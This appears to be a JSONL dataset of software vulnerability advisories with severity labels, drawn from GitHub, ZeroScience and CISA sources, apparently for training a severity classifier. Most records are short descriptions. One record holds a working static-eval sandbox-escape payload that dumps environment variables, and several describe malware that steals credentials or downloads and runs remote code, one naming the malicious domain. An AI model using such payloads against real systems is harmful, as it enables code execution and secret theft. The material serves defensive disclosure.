-{"id": "92bf1879a9072a1c7a44", "text": "Malicious Package in smartsearchwp\n\nAll versions of `smartsearchwp` contain malicious code. The package is malware intended to steal credentials from websites it is loaded in. It traverses DOM elements looking for fields such as `username` and `password` and uploads it to a remote server. The package also port-scans the local gateway and uploads the information to the remote server. It has a feature to fetch commands from the remote server and execute them with `eval`. The npm security team analysis found several bugs in the malware that prevent it from actually performing its actions. The malicious code is also not invoked upon installation or require; it would require transpiling TypeScript code and using it in a website.\n\n## Recommendation\n\nRemove the package from your environment. There is no indication of further compromise.", "text_raw": "Malicious Package in smartsearchwp\n\n[Severity: CRITICAL]\n\nAll versions of `smartsearchwp` contain malicious code. The package is malware intended to steal credentials from websites it is loaded in. It traverses DOM elements looking for fields such as `username` and `password` and uploads it to a remote server. The package also port-scans the local gateway and uploads the information to the remote server. It has a feature to fetch commands from the remote server and execute them with `eval`. The npm security team analysis found several bugs in the malware that prevent it from actually performing its actions. The malicious code is also not invoked upon installation or require; it would require transpiling TypeScript code and using it in a website.\n\n\n\n## Recommendation\n\nRemove the package from your environment. There is no indication of further compromise.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "71cad720a5f431e8a103", "text": "ECOA Building Automation System Weak Default Credentials", "text_raw": "ECOA Building Automation System Weak Default Credentials\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2021-09-08", "split": "train"}
-{"id": "7882e3538e99e57321ee", "text": "Improper Input Validation in Symfony\n\nAn issue was discovered in Symfony before 4.2.12 and 4.3.x before 4.3.8. The VarExport component incorrectly escapes strings, allowing some specially crafted ones to escalate to execution of arbitrary PHP code. This is related to symfony/var-exporter.", "text_raw": "Improper Input Validation in Symfony\n\n[Severity: CRITICAL]\n\nAn issue was discovered in Symfony before 4.2.12 and 4.3.x before 4.3.8. The VarExport component incorrectly escapes strings, allowing some specially crafted ones to escalate to execution of arbitrary PHP code. This is related to symfony/var-exporter.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-02-12", "split": "train"}
-{"id": "ee15b2749be761306f8e", "text": "SharpLynx v9.2.3 Insecure File Permissions", "text_raw": "SharpLynx v9.2.3 Insecure File Permissions\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2018-04-02", "split": "train"}
-{"id": "5ac248397cfbe7ab484c", "text": "Improper Input Validation in renderdoc\n\nAffected versions of this crate exposed several methods which took self by immutable reference, despite the requesting the RenderDoc API to set a mutable value internally. This is technically unsound and calling these methods from multiple threads without synchronization could lead to unexpected and unpredictable behavior. The flaw was corrected in release 0.5.0.", "text_raw": "Improper Input Validation in renderdoc\n\n[Severity: CRITICAL]\n\nAffected versions of this crate exposed several methods which took self by immutable reference, despite the requesting the RenderDoc API to set a mutable value internally. This is technically unsound and calling these methods from multiple threads without synchronization could lead to unexpected and unpredictable behavior. The flaw was corrected in release 0.5.0.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "888ead2054b870751190", "text": "HomeAutomation v3.3.2 Authentication Bypass Exploit", "text_raw": "HomeAutomation v3.3.2 Authentication Bypass Exploit\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2019-12-29", "split": "train"}
-{"id": "c1ee0f6e380c1379abaf", "text": "Directory traversal in Rack::Directory app bundled with Rack\n\nA directory traversal vulnerability exists in rack < 2.2.0 that allows an attacker perform directory traversal vulnerability in the Rack::Directory app that is bundled with Rack which could result in information disclosure.", "text_raw": "Directory traversal in Rack::Directory app bundled with Rack\n\n[Severity: HIGH]\n\nA directory traversal vulnerability exists in rack < 2.2.0 that allows an attacker perform directory traversal vulnerability in the Rack::Directory app that is bundled with Rack which could result in information disclosure.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-07-06", "split": "train"}
-{"id": "ada9f3d069434fb5ac8a", "text": "Information exposure in elgg\n\nelgg is vulnerable to Exposure of Private Personal Information to an Unauthorized Actor. Forms in the view namespace 'forms/admin' were not protected by an AdminGatekeeper in case of AJAX requests to 'ajax/form/admin/'.", "text_raw": "Information exposure in elgg\n\n[Severity: HIGH]\n\nelgg is vulnerable to Exposure of Private Personal Information to an Unauthorized Actor. Forms in the view namespace 'forms/admin' were not protected by an AdminGatekeeper in case of AJAX requests to 'ajax/form/admin/'.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-16", "split": "train"}
-{"id": "d383f716adbca8ee8b19", "text": "radiant vulnerable to Cross-site Scripting\n\nThere are multiple Persistent XSS vulnerabilities in Radiant CMS 1.1.4. They affect Personal Preferences (Name and Username) and Configuration (Site Title, Dev Site Domain, Page Parts, and Page Fields).", "text_raw": "radiant vulnerable to Cross-site Scripting\n\n[Severity: MEDIUM]\n\nThere are multiple Persistent XSS vulnerabilities in Radiant CMS 1.1.4. They affect Personal Preferences (Name and Username) and Configuration (Site Title, Dev Site Domain, Page Parts, and Page Fields).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-07-27", "split": "train"}
-{"id": "c0b3321102c636a4259a", "text": "Internal exception message exposure for login action in Sylius\n\n## Internal exception message exposure for login action\n\n### Impact\nException messages from internal exceptions (like database exception) are wrapped by `\\Symfony\\Component\\Security\\Core\\Exception\\AuthenticationServiceException` and propagated through the system to UI. Therefore, some internal system information may leak and be visible to the customer.\n\nA validation message with the exception details will be presented to the user when one will try to log into the shop.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\n### Workarounds\nThe `src/Sylius/Bundle/UiBundle/Resources/views/Security/_login.html.twig` file should be overridden and lines https://github.com/Sylius/Sylius/blob/1.4/src/Sylius/Bundle/UiBundle/Resources/views/Security/_login.html.twig#L13-L17 should be replaced with\n```twig\n        {% if last_error %}\n            <div class=\"ui left aligned basic segment\">\n                {{ messages.error(last_error.messageKey) }}\n            </div>\n        {% endif %}\n```\n\nThe `messageKey` field should be used instead of the `message`.", "text_raw": "Internal exception message exposure for login action in Sylius\n\n[Severity: LOW]\n\n## Internal exception message exposure for login action\n\n### Impact\nException messages from internal exceptions (like database exception) are wrapped by `\\Symfony\\Component\\Security\\Core\\Exception\\AuthenticationServiceException` and propagated through the system to UI. Therefore, some internal system information may leak and be visible to the customer. \n\nA validation message with the exception details will be presented to the user when one will try to log into the shop. \n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\n### Workarounds\nThe `src/Sylius/Bundle/UiBundle/Resources/views/Security/_login.html.twig` file should be overridden and lines https://github.com/Sylius/Sylius/blob/1.4/src/Sylius/Bundle/UiBundle/Resources/views/Security/_login.html.twig#L13-L17 should be replaced with\n```twig\n        {% if last_error %}\n            <div class=\"ui left aligned basic segment\">\n                {{ messages.error(last_error.messageKey) }}\n            </div>\n        {% endif %}\n``` \n\nThe `messageKey` field should be used instead of the `message`.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2019-12-05", "split": "train"}
-{"id": "a66fdbd996645efe8416", "text": "Marked ReDoS due to email addresses being evaluated in quadratic time\n\nVersions of `marked` from 0.3.14 until 0.6.2 are vulnerable to Regular Expression Denial of Service. Email addresses may be evaluated in quadratic time, allowing attackers to potentially crash the node process due to resource exhaustion.\n\n## Recommendation\n\nUpgrade to version 0.6.2 or later.", "text_raw": "Marked ReDoS due to email addresses being evaluated in quadratic time\n\n[Severity: MEDIUM]\n\nVersions of `marked` from 0.3.14 until 0.6.2 are vulnerable to Regular Expression Denial of Service. Email addresses may be evaluated in quadratic time, allowing attackers to potentially crash the node process due to resource exhaustion.\n\n\n## Recommendation\n\nUpgrade to version 0.6.2 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-06-05", "split": "train"}
-{"id": "f9d621db07613cab39dc", "text": "Improper Handling of Length Parameter Inconsistency in Apache Ant\n\nWhen reading a specially crafted TAR archive an Apache Ant build can be made to allocate large amounts of memory that finally leads to an out of memory error, even for small inputs. This can be used to disrupt builds using Apache Ant. Apache Ant prior to 1.9.16 and 1.10.11 were affected.", "text_raw": "Improper Handling of Length Parameter Inconsistency in Apache Ant\n\n[Severity: MEDIUM]\n\nWhen reading a specially crafted TAR archive an Apache Ant build can be made to allocate large amounts of memory that finally leads to an out of memory error, even for small inputs. This can be used to disrupt builds using Apache Ant. Apache Ant prior to 1.9.16 and 1.10.11 were affected.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-02", "split": "train"}
-{"id": "1ee64afbf7fb550f2d8f", "text": "Sandbox Breakout / Arbitrary Code Execution in static-eval\n\nVersions of `static-eval`prior to 2.0.2 pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.\n\n## Proof of concept\n```\nvar evaluate = require('static-eval');\nvar parse = require('esprima').parse;\n\nvar src = process.argv[2];\nvar payload = '(function({x}){return x.constructor})({x:\"\".sub})(\"console.log(process.env)\")()'\nvar ast = parse(payload).body[0].expression;\nconsole.log(evaluate(ast, {x:1}));\n```\n\n## Recommendation\n\nUpgrade to version 2.0.2 or later.", "text_raw": "Sandbox Breakout / Arbitrary Code Execution in static-eval\n\n[Severity: HIGH]\n\nVersions of `static-eval`prior to 2.0.2 pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.\n\n## Proof of concept\n```\nvar evaluate = require('static-eval');\nvar parse = require('esprima').parse;\n\nvar src = process.argv[2];\nvar payload = '(function({x}){return x.constructor})({x:\"\".sub})(\"console.log(process.env)\")()'\nvar ast = parse(payload).body[0].expression;\nconsole.log(evaluate(ast, {x:1}));\n```\n\n\n## Recommendation\n\nUpgrade to version 2.0.2 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "21bca0bffc7ed59d7e2c", "text": "SSRF in adminer\n\n### Impact\nUsers of Adminer versions bundling all drivers (e.g. `adminer.php`) are affected.\n\n### Patches\nPatched by ccd2374b, included in version [4.7.9](https://github.com/vrana/adminer/releases/tag/v4.7.9).\n\n### Workarounds\n* Use a single driver version (e.g. `adminer-mysql.php`).\n* Protect access to Adminer also by other means, e.g. by HTTP password, IP address limiting or by OTP [plugin](https://www.adminer.org/plugins/).\n\n### References\nhttps://github.com/vrana/adminer/files/5957311/Adminer.SSRF.pdf\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Comment at ccd2374b.", "text_raw": "SSRF in adminer\n\n[Severity: HIGH]\n\n### Impact\nUsers of Adminer versions bundling all drivers (e.g. `adminer.php`) are affected.\n\n### Patches\nPatched by ccd2374b, included in version [4.7.9](https://github.com/vrana/adminer/releases/tag/v4.7.9).\n\n### Workarounds\n* Use a single driver version (e.g. `adminer-mysql.php`).\n* Protect access to Adminer also by other means, e.g. by HTTP password, IP address limiting or by OTP [plugin](https://www.adminer.org/plugins/).\n\n### References\nhttps://github.com/vrana/adminer/files/5957311/Adminer.SSRF.pdf\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Comment at ccd2374b.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-02-11", "split": "train"}
-{"id": "20edbf004149e03c821c", "text": "Path Traversal in m-server\n\nVersions of `m-server` before 1.4.2 are vulnerable to path traversal allowing a remote attacker to display content of arbitrary files from the server.\n\n## Recommendation\n\nUpdate to version 1.4.2 or later.", "text_raw": "Path Traversal in m-server\n\n[Severity: MEDIUM]\n\nVersions of `m-server` before 1.4.2 are vulnerable to path traversal allowing a remote attacker to display content of arbitrary files from the server.\n\n\n## Recommendation\n\nUpdate to version 1.4.2 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-06-11", "split": "train"}
-{"id": "06afbd03677257a4bb58", "text": "Path Traversal in localhost-now\n\nVersions of `localhost-now` before 1.0.2 are vulnerable to path traversal. This allows a remote attacker to read the content of an arbitrary file.\n\n## Recommendation\n\nUpdate to version 1.0.2 or later.", "text_raw": "Path Traversal in localhost-now\n\n[Severity: HIGH]\n\nVersions of `localhost-now` before 1.0.2 are vulnerable to path traversal. This allows a remote attacker to read the content of an arbitrary file.\n\n\n## Recommendation\n\nUpdate to version 1.0.2 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-25", "split": "train"}
-{"id": "0ac300fecc9f802a6267", "text": "Cross-site scripting in demos/demo.mysqli.php in getID3\n\nCross-site scripting (XSS) vulnerability in demos/demo.mysqli.php in getID3 1.X and v2.0.0-beta allows remote attackers to inject arbitrary web script or HTML via the showtagfiles parameter.", "text_raw": "Cross-site scripting in demos/demo.mysqli.php in getID3\n\n[Severity: MEDIUM]\n\nCross-site scripting (XSS) vulnerability in demos/demo.mysqli.php in getID3 1.X and v2.0.0-beta allows remote attackers to inject arbitrary web script or HTML via the showtagfiles parameter.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-04", "split": "train"}
-{"id": "e7bc7c07c940ca708966", "text": "Polymorphic Typing in FasterXML jackson-databind\n\nA Polymorphic Typing issue was discovered in FasterXML jackson-databind 2.0.0 through 2.9.10. When Default Typing is enabled (either globally or for a specific property) for an externally exposed JSON endpoint and the service has the commons-dbcp (1.4) jar in the classpath, and an attacker can find an RMI service endpoint to access, it is possible to make the service execute a malicious payload. This issue exists because of org.apache.commons.dbcp.datasources.SharedPoolDataSource and org.apache.commons.dbcp.datasources.PerUserPoolDataSource mishandling.", "text_raw": "Polymorphic Typing in FasterXML jackson-databind\n\n[Severity: CRITICAL]\n\nA Polymorphic Typing issue was discovered in FasterXML jackson-databind 2.0.0 through 2.9.10. When Default Typing is enabled (either globally or for a specific property) for an externally exposed JSON endpoint and the service has the commons-dbcp (1.4) jar in the classpath, and an attacker can find an RMI service endpoint to access, it is possible to make the service execute a malicious payload. This issue exists because of org.apache.commons.dbcp.datasources.SharedPoolDataSource and org.apache.commons.dbcp.datasources.PerUserPoolDataSource mishandling.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-10-28", "split": "train"}
-{"id": "6059e24bb47639151279", "text": "VMware vCenter Server Improper Input Validation Vulnerability\n\nAffected: VMware vCenter Server\n\nVMware vSphere Client contains an improper input validation vulnerability in the Virtual SAN Health Check plug-in, which is enabled by default in vCenter Server, which allows for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-20, CWE-470, CWE-918\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "VMware vCenter Server Improper Input Validation Vulnerability\n\nAffected: VMware vCenter Server\n\nVMware vSphere Client contains an improper input validation vulnerability in the Virtual SAN Health Check plug-in, which is enabled by default in vCenter Server, which allows for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-20, CWE-470, CWE-918\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "f3f0a8e5a79a5224deac", "text": "Limny 3.0.1 (login.php) Remote URI Based Cross-Site Scripting Vulnerability", "text_raw": "Limny 3.0.1 (login.php) Remote URI Based Cross-Site Scripting Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2012-01-04", "split": "train"}
-{"id": "5c98a93ed7fc2fedc64c", "text": "active-support impersonates 'activesupport' gem\n\nThe `active-support` ruby gem gem is malware and duplicates the official `activesupport` (no hyphen) gem, but adds a compiled extension. The extension attempts to resolve a base64 encoded domain (29faea63.planfhntage.de), downloads a payload, and executes.\n\nThis trojan horse gem could allow a remote attacker to execute arbitrary code on the system, caused by containing a malicious backdoor. An attacker could exploit this vulnerability to execute arbitrary code on the system.  No version of this gem should be considered safe.", "text_raw": "active-support impersonates 'activesupport' gem\n\n[Severity: CRITICAL]\n\nThe `active-support` ruby gem gem is malware and duplicates the official `activesupport` (no hyphen) gem, but adds a compiled extension. The extension attempts to resolve a base64 encoded domain (29faea63.planfhntage.de), downloads a payload, and executes.\n \nThis trojan horse gem could allow a remote attacker to execute arbitrary code on the system, caused by containing a malicious backdoor. An attacker could exploit this vulnerability to execute arbitrary code on the system.  No version of this gem should be considered safe.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-08-13", "split": "train"}
-{"id": "39cc065837d9c394bb33", "text": "Private files publicly accessible with Cloud Storage providers\n\n### Impact\n\nPrivate files publicly accessible with Cloud Storage providers when the hashed URL is known\n\n### Patches\n\nWe recommend first changing your configuration to set the correct visibility according to the documentation. The visibility must be at the same level as `type`.\n\nWhen the Storage is saved on Amazon AWS we recommending disabling public access to the bucket containing the private files: https://docs.aws.amazon.com/AmazonS3/latest/userguide/access-control-block-public-access.html\n\nOtherwise, update to Shopware 6.4.1.1 or install or update the Security plugin (https://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659) and run the command `./bin/console s3:set-visibility` to correct your cloud file visibilities", "text_raw": "Private files publicly accessible with Cloud Storage providers\n\n[Severity: HIGH]\n\n### Impact\n\nPrivate files publicly accessible with Cloud Storage providers when the hashed URL is known\n\n### Patches\n\nWe recommend first changing your configuration to set the correct visibility according to the documentation. The visibility must be at the same level as `type`.\n\nWhen the Storage is saved on Amazon AWS we recommending disabling public access to the bucket containing the private files: https://docs.aws.amazon.com/AmazonS3/latest/userguide/access-control-block-public-access.html\n\nOtherwise, update to Shopware 6.4.1.1 or install or update the Security plugin (https://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659) and run the command `./bin/console s3:set-visibility` to correct your cloud file visibilities \n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-28", "split": "train"}
-{"id": "9f82862fadf73907d564", "text": "webgrind 1.0 (dataFile) Remote Reflected XSS Vulnerability", "text_raw": "webgrind 1.0 (dataFile) Remote Reflected XSS Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2012-02-17", "split": "train"}
-{"id": "88efa681cbffcafb8729", "text": "Malicious Package in cage-js\n\nAll versions of `cage-js`  contains malicious code. The malware downloads and runs a script from a remote server as a postinstall script.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in cage-js\n\n[Severity: CRITICAL]\n\nAll versions of `cage-js`  contains malicious code. The malware downloads and runs a script from a remote server as a postinstall script.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "6601560ca2b86b979b4f", "text": "git-fastclone permits arbitrary shell command execution from .gitmodules\n\ngit-fastclone before 1.0.1 permits arbitrary shell command execution from .gitmodules. If an attacker can instruct a user to run a recursive clone from a repository they control, they can get a client to run an arbitrary shell command. Alternately, if an attacker can MITM an unencrypted git clone, they could exploit this. The ext command will be run if the repository is recursively cloned or if submodules are updated. This attack works when cloning both local and remote repositories.", "text_raw": "git-fastclone permits arbitrary shell command execution from .gitmodules\n\n[Severity: HIGH]\n\ngit-fastclone before 1.0.1 permits arbitrary shell command execution from .gitmodules. If an attacker can instruct a user to run a recursive clone from a repository they control, they can get a client to run an arbitrary shell command. Alternately, if an attacker can MITM an unencrypted git clone, they could exploit this. The ext command will be run if the repository is recursively cloned or if submodules are updated. This attack works when cloning both local and remote repositories.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-08-15", "split": "train"}
-{"id": "d78563a7eeb024b0ac79", "text": "npm Token Leak in npm\n\nAffected versions of the `npm` package include the bearer token of the logged in user in every request made by the CLI, even if the request is not directed towards the user's active registry.\n\nAn attacker could create an HTTP server to collect tokens, and by various means including but not limited to install scripts, cause the npm CLI to make a request to that server, which would compromise the user's token.\n\nThis compromised token could be used to do anything that the user could do, including publishing new packages.\n\n## Recommendation\n\n1. Update npm with `npm install npm@latest -g`\n2. [Revoke your Tokens](https://www.npmjs.com/settings/tokens)\n3. Enable [Two-Factor Authentication](https://docs.npmjs.com/getting-started/using-two-factor-authentication)", "text_raw": "npm Token Leak in npm\n\n[Severity: HIGH]\n\nAffected versions of the `npm` package include the bearer token of the logged in user in every request made by the CLI, even if the request is not directed towards the user's active registry. \n\nAn attacker could create an HTTP server to collect tokens, and by various means including but not limited to install scripts, cause the npm CLI to make a request to that server, which would compromise the user's token.\n\nThis compromised token could be used to do anything that the user could do, including publishing new packages.\n\n\n\n\n## Recommendation\n\n1. Update npm with `npm install npm@latest -g`\n2. [Revoke your Tokens](https://www.npmjs.com/settings/tokens)\n3. Enable [Two-Factor Authentication](https://docs.npmjs.com/getting-started/using-two-factor-authentication)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-31", "split": "train"}
-{"id": "bf9de0d35389908bf8f3", "text": "An issue in Atomix v3.1.5 allows a malicious Atomix node to remove states of ONOS storage via abuse of primitive operations.", "text_raw": "An issue in Atomix v3.1.5 allows a malicious Atomix node to remove states of ONOS storage via abuse of primitive operations.\n\n[Severity: HIGH]", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-17", "split": "train"}
-{"id": "a62913ba4272cc8cf3bc", "text": "SQL Injection in LibreNMS\n\nAn issue was discovered in LibreNMS 1.50.1. A SQL injection flaw was identified in the ajax_rulesuggest.php file where the term parameter is used insecurely in a database query for showing columns of a table, as demonstrated by an ajax_rulesuggest.php?debug=1&term= request.", "text_raw": "SQL Injection in LibreNMS\n\n[Severity: HIGH]\n\nAn issue was discovered in LibreNMS 1.50.1. A SQL injection flaw was identified in the ajax_rulesuggest.php file where the term parameter is used insecurely in a database query for showing columns of a table, as demonstrated by an ajax_rulesuggest.php?debug=1&term= request.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-10-11", "split": "train"}
-{"id": "552a6c28e1411b6220d5", "text": "Deserialization of untrusted data in Jackson Databind\n\nFasterXML jackson-databind 2.x before 2.9.10.5 mishandles the interaction between serialization gadgets and typing, related to oadd.org.apache.xalan.lib.sql.JNDIConnectionPool (aka apache/drill).", "text_raw": "Deserialization of untrusted data in Jackson Databind\n\n[Severity: HIGH]\n\nFasterXML jackson-databind 2.x before 2.9.10.5 mishandles the interaction between serialization gadgets and typing, related to oadd.org.apache.xalan.lib.sql.JNDIConnectionPool (aka apache/drill).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-06-18", "split": "train"}
-{"id": "39635181d6aedad4f856", "text": "Inductive Automation Ignition 7.8.1 Remote Leakage Of Shared Buffers", "text_raw": "Inductive Automation Ignition 7.8.1 Remote Leakage Of Shared Buffers\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2016-02-16", "split": "train"}
-{"id": "3d04ca4441d03575799a", "text": "Improper sanitization of target names\n\n### Impact\nThe tough library, prior to 0.12.0, does not properly sanitize target names when caching a repository, or when saving specific targets to an output directory. When targets are cached or saved, files could be overwritten with arbitrary content anywhere on the system.\n\nAWS would like to thank https://github.com/jku for reporting this issue.\n\n### Patches\nA fix is available in version 0.12.0.\n\n### Workarounds\nNo workarounds to this issue are known.", "text_raw": "Improper sanitization of target names\n\n[Severity: HIGH]\n\n### Impact\nThe tough library, prior to 0.12.0, does not properly sanitize target names when caching a repository, or when saving specific targets to an output directory. When targets are cached or saved, files could be overwritten with arbitrary content anywhere on the system.\n\nAWS would like to thank https://github.com/jku for reporting this issue.\n\n### Patches\nA fix is available in version 0.12.0.\n\n### Workarounds\nNo workarounds to this issue are known.\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-19", "split": "train"}
-{"id": "80131c9df2f2eb3c9176", "text": "Unauthenticated SQL Injection in Cachet\n\n### Impact\nIn Cachet versions through 2.3.18, there is a SQL injection which is in the `SearchableTrait#scopeSearch()`. Attackers without authentication can utilize this vulnerability to exfiltrate sensitive data from the database such as administrator's password and session.\n\n### Patches\n\nThe original repository of [https://github.com/CachetHQ/Cachet](https://github.com/CachetHQ/Cachet) is not active, the stable version 2.3.18 and it's developing 2.4 branch is affected.\n\nUpdate to version 2.5 or later in the [https://github.com/fiveai/Cachet fork](https://github.com/fiveai/Cachet) to fix this vulnerability.", "text_raw": "Unauthenticated SQL Injection in Cachet\n\n[Severity: HIGH]\n\n### Impact\nIn Cachet versions through 2.3.18, there is a SQL injection which is in the `SearchableTrait#scopeSearch()`. Attackers without authentication can utilize this vulnerability to exfiltrate sensitive data from the database such as administrator's password and session.\n\n### Patches\n\nThe original repository of [https://github.com/CachetHQ/Cachet](https://github.com/CachetHQ/Cachet) is not active, the stable version 2.3.18 and it's developing 2.4 branch is affected. \n\nUpdate to version 2.5 or later in the [https://github.com/fiveai/Cachet fork](https://github.com/fiveai/Cachet) to fix this vulnerability.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-30", "split": "train"}
-{"id": "b20636801dd5fde9924a", "text": "mistune Cross-site scripting (XSS) vulnerability\n\nCross-site scripting (XSS) vulnerability in the _keyify function in mistune.py in Mistune before 0.8.1 allows remote attackers to inject arbitrary web script or HTML by leveraging failure to escape the \"key\" argument.", "text_raw": "mistune Cross-site scripting (XSS) vulnerability\n\n[Severity: MEDIUM]\n\nCross-site scripting (XSS) vulnerability in the _keyify function in mistune.py in Mistune before 0.8.1 allows remote attackers to inject arbitrary web script or HTML by leveraging failure to escape the \"key\" argument.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-01-04", "split": "train"}
-{"id": "3547fb132ee5d1587ea3", "text": "XML External Entity (XXE) Injection in JDOM\n\nAn XXE issue in SAXBuilder in JDOM through 2.0.6 allows attackers to cause a denial of service via a crafted HTTP request. As a workaround, to avoid external entities being expanded, one can call `builder.setExpandEntities(false)` and they won't be expanded.", "text_raw": "XML External Entity (XXE) Injection in JDOM\n\n[Severity: HIGH]\n\nAn XXE issue in SAXBuilder in JDOM through 2.0.6 allows attackers to cause a denial of service via a crafted HTTP request. As a workaround, to avoid external entities being expanded, one can call `builder.setExpandEntities(false)` and they won't be expanded.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-07-27", "split": "train"}
-{"id": "4b238d0f14590e149ee8", "text": "Cross-site scripting in bluemonday\n\nbluemonday before 1.0.5 allows XSS because certain Go lowercasing converts an uppercase Cyrillic character, defeating a protection mechanism against the \"script\" string.", "text_raw": "Cross-site scripting in bluemonday\n\n[Severity: MEDIUM]\n\nbluemonday before 1.0.5 allows XSS because certain Go lowercasing converts an uppercase Cyrillic character, defeating a protection mechanism against the \"script\" string.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "e81d64330f7882b6f017", "text": "Google Chromium Race Condition Vulnerability\n\nAffected: Google Chromium\n\nGoogle Chromium contains a race condition vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-122, CWE-362\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Google Chromium Race Condition Vulnerability\n\nAffected: Google Chromium\n\nGoogle Chromium contains a race condition vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-122, CWE-362\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "339d84b3f63474683fdf", "text": "Zoho ManageEngine ServiceDesk Plus (SDP) File Upload Vulnerability\n\nAffected: Zoho ManageEngine\n\nZoho ManageEngine ServiceDesk Plus (SDP) contains an unspecified vulnerability that allows remote users to upload files via login page customization.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-434\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Zoho ManageEngine ServiceDesk Plus (SDP) File Upload Vulnerability\n\nAffected: Zoho ManageEngine\n\nZoho ManageEngine ServiceDesk Plus (SDP) contains an unspecified vulnerability that allows remote users to upload files via login page customization.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-434\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
